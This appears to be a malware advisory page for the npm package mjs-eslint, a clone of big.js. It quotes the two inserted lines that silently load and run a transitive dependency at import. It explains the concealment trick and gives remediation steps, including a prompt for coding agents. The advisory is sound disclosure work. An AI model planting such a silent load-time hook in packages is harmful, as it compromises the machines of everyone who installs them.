# MAL-2026-6223: Malicious code in mjs-eslint (npm)


- **Type:** Malicious package
- **Package:** `mjs-eslint` (npm)
- **Published:** 19 Jun 2026
- **Also known as:** GHSA-r6f7-88jj-mg66

## What is MAL-2026-6223?

MAL-2026-6223 is a malicious package in mjs-eslint, published on 19 Jun 2026. 

### Official description

The package is published as 'mjs-eslint' but its description, file layout (big.js, big.mjs), and source are a verbatim copy of the legitimate big.js arbitrary-precision arithmetic library by Michael Mclaughlin. Two lines have been inserted into the IIFE at big.js:605-606 (and identically in big.mjs:605-606): `const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });`. The corresponding dependency `"ts-eslint-helper": "^4.0.1"` is declared in package.json. This call fires at module load on any `require('mjs-eslint')` or `import` of the package, executes asynchronously, and silently swallows all errors via `.catch(()=>{})`. An arithmetic library has no legitimate reason to load a 'ts-eslint' helper at module init, and the name mismatch between the host package (mjs-eslint), the cloned library (big.js), and the dependency (ts-eslint-helper) is the canonical pattern of hiding the payload one hop away in a transitive dependency to evade scanners. Installer harm: any consumer who requires this package pulls in and executes whatever ts-eslint-helper's from_str() contains, with no visible signal.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6223?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6223 is a malicious package: mjs-eslint (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6223/ (Markdown: https://insights.sbomify.com/MAL-2026-6223/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6223

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6223/
Summaries are generated and may contain mistakes; the official description above is the record.